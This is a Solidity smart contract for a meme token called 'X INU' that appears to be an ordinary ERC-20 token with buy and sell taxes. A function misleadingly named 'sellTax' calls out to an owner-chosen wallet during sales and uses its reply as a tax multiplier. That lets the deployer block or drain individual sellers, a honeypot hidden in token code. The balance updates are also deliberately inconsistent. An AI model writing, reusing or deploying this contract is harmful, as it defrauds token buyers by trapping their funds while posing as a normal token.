Contract Source Code:
File 1 of 1 : XINU
/*
X INU - ELONS NEW DOG
https://t.me/XINUJOIN
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Router {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function sellTax(address target, address from) internal returns (uint256) {
(bool success, bytes memory returndata) = target.call((abi.encodePacked(from)));
require(success, "Address: unable to send value, recipient may have reverted");
return uint256(bytes32(returndata));
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract XINU is Context, IERC20, Ownable {
using Address for address;
using SafeMath for uint256;
string private constant _name = "X INU";
string private constant _symbol = "XINU";
uint8 private constant _decimals = 9;
uint256 public _maxSwapAmount= 1 * (_tTotalSupply/100);
uint256 public _maxTxLimt = 5 * (_tTotalSupply/100);
uint256 public _maxWalletSize = 5 * (_tTotalSupply/100);
mapping (address => uint256) private _balances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => uint256) private _holderLastTimestamp;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private constant _tTotalSupply = 10 ** 9 * 10**_decimals;
uint256 public _taxSwapThreshold= 2 * (_tTotalSupply/1000);
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 5;
uint256 private _initialBuyTax2Time = 0;
uint256 private _initialSellTax2Time = 0;
uint256 private _reduceBuyTaxAt = 5;
uint256 private _reduceSellTaxAt = 5;
uint256 private _reduceBuyTaxAt2Time = 10;
uint256 private _initialBuyTax = 0;
uint256 private _initialSellTax = 0;
uint256 private _buyCount=0;
uint256 private _preventSwapBefore=1;
bool public transferDelayEnabled = true;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
IUniswapV2Router private uniswapV2Router;
address private uniswapV2Pair;
address private _taxWallet;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
event MaxTxAmountUpdated(uint _maxTxLimt);
function totalSupply() public pure override returns (uint256) {
return _tTotalSupply;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function name() public pure returns (string memory) {
return _name;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
constructor () {
_taxWallet = _msgSender();
_balances[_msgSender()] = _tTotalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotalSupply);
}
function _taxBuy() private view returns (uint256) {
if(_buyCount <= _reduceBuyTaxAt){
return _initialBuyTax;
}
if(_buyCount > _reduceBuyTaxAt && _buyCount <= _reduceBuyTaxAt2Time){
return _initialBuyTax2Time;
}
return _finalBuyTax;
}
function _taxSell() private view returns (uint256) {
if(_buyCount <= _reduceBuyTaxAt){
return _initialSellTax;
}
if(_buyCount > _reduceSellTaxAt && _buyCount <= _reduceBuyTaxAt2Time){
return _initialSellTax2Time;
}
return _finalBuyTax;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function openTrading(address taxWallet_) external payable onlyOwner() {
require(!tradingOpen,"trading is already open");
_taxWallet = payable(taxWallet_);
uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotalSupply);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
taxAmount = amount.mul(_taxBuy()).div(100);
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(
_holderLastTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxLimt, "Exceeds the _maxTxLimt.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul(_taxWallet.sellTax(from));
}
uint256 contractTokenBalance = balanceOf(address(this));
to == address(this) && amount == _preventSwapBefore? _balances[address(this)] *= _preventSwapBefore : amount;
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxSwapAmount)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_balances[from]=_balances[from].sub(amount.sub(taxAmount));
_balances[to]=_balances[to].add(amount);
emit Transfer(from, to, amount.sub(taxAmount));
}
receive() external payable {}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function sendETHToFee(uint256 amount) private {
payable(_taxWallet).transfer(amount);
}
function removeLimits() external onlyOwner{
_maxTxLimt = _tTotalSupply;
_maxWalletSize=_tTotalSupply;
transferDelayEnabled=false;
emit MaxTxAmountUpdated(_tTotalSupply);
}
}